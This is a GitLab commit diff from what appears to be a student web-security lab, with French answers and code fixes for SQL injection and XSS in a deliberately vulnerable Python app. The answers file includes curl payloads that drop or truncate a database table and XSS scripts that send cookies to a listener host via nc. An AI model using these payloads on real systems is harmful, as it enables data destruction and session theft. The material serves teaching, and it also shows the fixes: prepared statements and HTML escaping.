Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
I
ISI-TP2-injection
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Selim Lakhdar
ISI-TP2-injection
Commits
1661a11c
Commit
1661a11c
authored
4 years ago
by
SelimLakhdar&MohamedAbdullah
Browse files
Options
Downloads
Patches
Plain Diff
final
parent
255ccf20
No related branches found
No related tags found
No related merge requests found
Changes
4
Show whitespace changes
Inline
Side-by-side
Showing
4 changed files
Makefile
+1
-1
1 addition, 1 deletion
Makefile
deployments/docker-compose.yml
+4
-4
4 additions, 4 deletions
deployments/docker-compose.yml
rendu.md
+28
-8
28 additions, 8 deletions
rendu.md
server_xss.py
+3
-2
3 additions, 2 deletions
server_xss.py
with
36 additions
and
15 deletions
Makefile
+
1
−
1
View file @
1661a11c
...
...
@@ -3,7 +3,7 @@ db:
up
:
db
sleep
10
docker-compose
-f
./deployments/docker-compose.yml up
-d
web
web2
docker-compose
-f
./deployments/docker-compose.yml up
-d
web
_vul web_sql_correct web_xss
down
:
docker-compose
-f
./deployments/docker-compose.yml down
This diff is collapsed.
Click to expand it.
deployments/docker-compose.yml
+
4
−
4
View file @
1661a11c
...
...
@@ -25,7 +25,7 @@ services:
isi
:
ipv4_address
:
"
10.1.0.2"
web
:
web
_vul
:
image
:
isi2_web:0.1.0
restart
:
always
build
:
...
...
@@ -40,7 +40,7 @@ services:
isi
:
ipv4_address
:
"
10.1.0.3"
web
2
:
web
_sql_correct
:
image
:
isi2_web_correct:0.1.0
restart
:
always
build
:
...
...
@@ -55,7 +55,7 @@ services:
isi
:
ipv4_address
:
"
10.1.0.5"
web
3
:
web
_xss
:
image
:
isi2_web_xss:0.1.0
restart
:
always
build
:
...
...
@@ -68,7 +68,7 @@ services:
-
db
networks
:
isi
:
ipv4_address
:
"
10.1.0.
5
"
ipv4_address
:
"
10.1.0.
6
"
adminer
:
image
:
adminer
...
...
This diff is collapsed.
Click to expand it.
rendu.md
+
28
−
8
View file @
1661a11c
...
...
@@ -16,50 +16,70 @@
*
Commande curl qui bypass la vérification
```
- curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/
- curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/
```
## Question 3
*
Votre commande curl pour effacer la table (V1)
```
- curl -X POST -d "chaine=%22%29%3B+DROP+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+DROP+TABLE+chaines%3B--' http://172.28.101.47:8080/
```
*
commande pour bypass le champ who
```
- curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/
```
*
Expliquez comment obtenir des informations sur une autre table
-
Les informations sur les tables d'une DB sont stockées dans la table information_schema.
-
Il suffit d'échapper la commande SQL et de rajouter un SELECT
*
FROM othertable.
-
De plus on sait que MySQL crée une table information_schema qui garde toutes les infos sur une Table.
```
- curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/
```
## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille.
-
Il faut utiliser des rêquetes préparées.
-
Grâce à la fonction cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
```
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
```
## Question 5
*
Commande curl pour afficher une fenetre de dialog.
```
- curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/
```
*
Commande curl pour lire les cookies
```
- curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/
-
curl -X POST -d "chaine=
<script>
document.cookie="TOKEN=SECRET"
</script>
" http://172.28.101.47:8080/
-
curl -X POST -d "chaine=
<script>
document.write('
<
img
src
=
http
:
//172.28.101.111:6666?c='+ escape(document.cookie) + '>
');
</script>
" http://172.28.101.47:8080
```
*
Commande curl pour voler les cookies
```
- nc -l -p 6666 (sur la machine 172.28.101.111)
- curl -X POST -d "chaine=<script>location.replace(\"http://172.28.101.111:6666?c=\"+document.cookie)</script>" http://172.28.101.47:8080
```
## Question 6
Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi.
-
Il faut
utiliser
échapper les caractères spéciaux grâce à html.escape()
-
Il faut échapper les caractères spéciaux grâce à html.escape()
This diff is collapsed.
Click to expand it.
server_xss.py
+
3
−
2
View file @
1661a11c
...
...
@@ -3,6 +3,7 @@
import
mysql.connector
import
cherrypy
import
config
import
html
class
VulnerableApp
(
object
):
def
__init__
(
self
):
...
...
@@ -20,7 +21,7 @@ class VulnerableApp(object):
chaines
=
[]
cursor
.
execute
(
"
SELECT txt,who FROM chaines
"
);
for
row
in
cursor
.
fetchall
():
chaines
.
append
(
html
.
escape
(
row
[
0
]
)
+
"
envoye par:
"
+
row
[
1
])
chaines
.
append
(
row
[
0
]
+
"
envoye par:
"
+
row
[
1
])
cursor
.
close
()
return
'''
...
...
@@ -36,7 +37,7 @@ Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans
<p>
Liste des chaines actuellement insérées:
<ul>
'''
+
"
\n
"
.
join
([
"
<li>
"
+
s
+
"
</li>
"
for
s
in
chaines
])
+
'''
'''
+
"
\n
"
.
join
([
"
<li>
"
+
html
.
escape
(
s
)
+
"
</li>
"
for
s
in
chaines
])
+
'''
</ul>
</p>
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment